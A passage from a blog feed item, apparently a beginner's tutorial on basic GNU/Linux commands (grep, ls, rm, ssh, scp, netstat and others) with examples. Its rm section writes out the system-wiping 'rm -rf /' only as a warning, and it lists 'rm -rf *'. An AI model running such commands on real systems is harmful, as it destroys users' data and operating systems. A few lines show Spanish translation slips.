style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;whatis man&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;man &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;7&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;              - macros to format some manual pages&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;man &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;1&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;              - an interface &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; electronic reference manuals&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;grep&#34;&gt;grep&lt;/h2&gt;&#xA;&lt;p&gt;The grep command (&lt;em&gt;Global Regular Expression Print&lt;/em&gt;) searches for matching regular expressions in the files. If you don&amp;rsquo;t know what regular expressions are you can use it with ordinary text in quotes, even then it is quite useful. This command becomes especially useful when we want to find text in a large number of files, especially using it in combination with the result of other commands.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;grep &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;text to search&amp;#34;&lt;/span&gt; &amp;lt;file&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; Search &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; a string in the given file&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;grep -r &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;text to search&amp;#34;&lt;/span&gt; .&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; search &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; a string recursively in the files of the working directory and subdirectories&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;man man | grep &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;text to search&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; We use the pipe character &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;|&amp;#34;&lt;/span&gt;, followed of grep to search a string in the results of man&lt;span style=&#34;color:#ff5c57&#34;&gt;&amp;#39;&lt;/span&gt;s output&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;history&#34;&gt;history&lt;/h2&gt;&#xA;&lt;p&gt;History shows us the commands we have used, numbered, with the most recent to the bottom and the oldest to the top. There is an easier way to search for commands on &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/how-to-find-a-previously-executed-command-in-gnu-linux/&#34;&gt;which you can read here&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;history&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1920&lt;/span&gt; cat file.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1921&lt;/span&gt; ls -la&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;clear&#34;&gt;clear&lt;/h2&gt;&#xA;&lt;p&gt;What if we want to give our terminal a little cleanup to have more clarity when writing code? Clear deletes the contents of the terminal and leaves us with a completely clean terminal.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;clear&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; clean the content of the terminal&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;pwd&#34;&gt;pwd&lt;/h2&gt;&#xA;&lt;p&gt;From the acronym &amp;ldquo;&lt;em&gt;Print Working Directory&lt;/em&gt;&amp;rdquo;, which means &amp;ldquo;print the working directory&amp;rdquo;, this command prints the directory from where we are executing it.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;pwd&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/home/your_name&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;ls&#34;&gt;ls&lt;/h2&gt;&#xA;&lt;p&gt;When we need to display the files and directories in the current directory this command is the solution. We can use it to see the permissions, users and groups to which a file belongs.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ls&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; List files and directories in the working directory&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ls -l&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; List permissions, size, group and user &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; the files in the working directory&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ls -la&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; same as above but include hidden files&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;file&#34;&gt;file&lt;/h2&gt;&#xA;&lt;p&gt;File gives us information about the type of file that we pass as an argument. It even works for files with the wrong file extension.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;file &amp;lt;file.txt &amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;file.txt: ASCII text&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;cd&#34;&gt;cd&lt;/h2&gt;&#xA;&lt;p&gt;This command is one of the most commonly used. It is used to change directory, it can be read as &amp;ldquo;&lt;em&gt;change directory&lt;/em&gt;&amp;rdquo;, which means &amp;ldquo;change directory&amp;rdquo; in English.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;cd&lt;/span&gt; &amp;lt;directory_name&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;# move to the existent directory&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;cd&lt;/span&gt; ..&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;# go to the parent directory&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;cat&#34;&gt;cat&lt;/h2&gt;&#xA;&lt;p&gt;This command is used to concatenate the contents of a file and display it on the screen.&lt;/p&gt;&#xA;&lt;p&gt;There is a tool that offers more functions than cat, check my post where I talk about &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/get-to-know-bat-in-linux-the-syntax-highlighting-cat/&#34;&gt;bat&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cat file&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;# It would print the content of the file to the STD output (the screen in this case)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;tail&#34;&gt;tail&lt;/h2&gt;&#xA;&lt;p&gt;The tail command, which comes from &amp;ldquo;&lt;em&gt;cola&lt;/em&gt;&amp;rdquo; in English, prints the last ten lines of a file. Ideal for reading the contents of logs.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tail file&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;last ten lines&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;head&#34;&gt;head&lt;/h2&gt;&#xA;&lt;p&gt;Similar to the previous one, the head command, which comes from &amp;ldquo;&lt;em&gt;head&lt;/em&gt;&amp;rdquo; in English, prints the first ten lines of a file.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;head &amp;lt;file&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;first ten lines&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;touch&#34;&gt;touch&lt;/h2&gt;&#xA;&lt;p&gt;This command creates a file in the directory where we are executing it.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;touch &amp;lt;file.py&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;# create a file called file.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;rm&#34;&gt;rm&lt;/h2&gt;&#xA;&lt;p&gt;Derived from the word &amp;ldquo;&lt;em&gt;ReMove&amp;rdquo;&lt;/em&gt;, this command deletes one or more files. It is often used with its &amp;lsquo;-r&amp;rsquo; option, which recursively deletes files.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rm &amp;lt;file_to_delete&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; delete a file called &amp;lt;file_to_delete&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rm -rf *&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; delete all files in the working directory&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Sometimes we want to be sure not to delete a file unintentionally, we can add the -i option to ask us before deleting a file.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rm -i &amp;lt;file_to_delete&amp;gt;.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; rm: ¿delete the file? &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;&amp;lt;file_to_delete&amp;gt;.txt&amp;#39;&lt;/span&gt;? &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;s/n&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;be-careful-with-the-rm-command&#34;&gt;Be careful with the rm command&lt;/h3&gt;&#xA;&lt;p&gt;Another important thing, remember when web surfers were tricking people into deleting their system32 folders in windows, rendering their systems unusable? Well there is an equivalent in GNU/Linux, it is the rm command, followed by the -rf option, used to delete recursively and without asking for confirmation and then the slash representing the root folder &amp;ldquo;/&amp;rdquo;. If you run it with sufficient permissions &lt;strong&gt;it will erase your operating system, leaving it unusable&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I warn you again: &lt;strong&gt;PLEASE DO NOT EXECUTE IT&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Don&amp;#39;t do this&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rm -rf /&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Don&amp;#39;t do this&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;mkdir&#34;&gt;mkdir&lt;/h2&gt;&#xA;&lt;p&gt;This command is used to create directories. It comes from &amp;ldquo;&lt;em&gt;MaKe DIRectory&lt;/em&gt;&amp;rdquo;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mkdir &amp;lt;dir&amp;gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;# creates a directory with the given name, without the angle brackets&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;rmdir&#34;&gt;rmdir&lt;/h2&gt;&#xA;&lt;p&gt;&amp;ldquo;&lt;em&gt;ReMove DIRectory&lt;/em&gt;&amp;rdquo;, removes a directory, in order to use this command the directory to be removed must be empty.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rmdir &amp;lt;dir_to_remove&amp;gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;# delete the specified directory without the angle brackets&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;cp&#34;&gt;cp&lt;/h2&gt;&#xA;&lt;p&gt;The &lt;em&gt;cp&lt;/em&gt; command is responsible for copying a file to the location you specify.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cp our_file.html destination_folder/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can also copy directories with all the content. If the second directory does not exist it will create it.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cp -r origin_folder/ destination_folder/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;ssh&#34;&gt;ssh&lt;/h2&gt;&#xA;&lt;p&gt;The &lt;em&gt;ssh&lt;/em&gt; command allows us to connect to a remote server. To do this we must specify the user with which we will connect and the ip address, both in that order and joined by an at.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ssh remote_user@10.10.0.1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It is common practice for servers to change the default port for security reasons. We can specify a port using the &lt;em&gt;-p&lt;/em&gt; option.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ssh -p &lt;span style=&#34;color:#ff9f43&#34;&gt;1234&lt;/span&gt; remote_user@10.10.0.1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;After executing the command, if the user name and address are correct, it will ask for the user&amp;rsquo;s password to give us access.&lt;/p&gt;&#xA;&lt;h2 id=&#34;scp&#34;&gt;scp&lt;/h2&gt;&#xA;&lt;p&gt;This command is also used for copying, but it will copy from our computer to another one by means of &lt;em&gt;ssh&lt;/em&gt;. After typing the command it will ask for a password to be able to copy it. For this command to work the target machine must have ssh installed and its port 22 open.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;scp file_to_copy.txt remote_user@10.10.0.0:/remote_directory/subdirectory&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you want to pass multiple files, place them next to each other.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;scp file1.txt file2.xml file3.html remote_user@10.10.0.0:/remote_directory/subdirectory&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;ip-addr&#34;&gt;ip addr&lt;/h2&gt;&#xA;&lt;p&gt;This command will show us the connections of our computer, with their network interfaces and IP addresses.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ip&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu &lt;span style=&#34;color:#ff9f43&#34;&gt;65536&lt;/span&gt; qdisc noqueue state UNKNOWN group default qlen &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inet 127.0.0.1/8 scope host lo&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       valid_lft forever preferred_lft forever&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inet6 ::1/128 scope host &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       valid_lft forever preferred_lft forever&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2: enp0s31f6: &amp;lt;NO-CARRIER,BROADCAST,MULTICAST,UP&amp;gt; mtu &lt;span style=&#34;color:#ff9f43&#34;&gt;1500&lt;/span&gt; qdisc pfifo_fast state DOWN group default qlen &lt;span style=&#34;color:#ff9f43&#34;&gt;1000&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    link/ether 1c:1b:0d:64:6b:aa brd ff:ff:ff:ff:ff:ff&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The ip command has many options that I suggest you review calmly, use the man command if you want to delve deeper into the functionalities.&lt;/p&gt;&#xA;&lt;h2 id=&#34;netstat&#34;&gt;netstat&lt;/h2&gt;&#xA;&lt;p&gt;This command shows multiple information regarding the system networks, a very useful application is to find out which processes (PID) are using a certain port, to do this just run the following:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;netstat -tulpn&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As I&amp;rsquo;m sure you already know, many important commands have been missing, I haven&amp;rsquo;t placed them here so as not to make the reading so tedious, get up, stretch a bit, get something to drink and &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-passwd-du-useradd-usermod-fdisk-lscpu-apt-which/&#34;&gt;skip to my second part of the basic GNU Linux commands&lt;/a&gt;&#xA; for the second part.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;There are many basic linux commands, from those that tell you which is your user, to others that allow you to run and schedule services periodically. Below I will list the commands that I use frequently, as well as any combination or peculiar feature of any of these that is worth mentioning. I will try to do it in the simplest possible way and without trying to complicate too much the use of the commands.&lt;/p&gt;</summary>
    </item>
    
    <item>
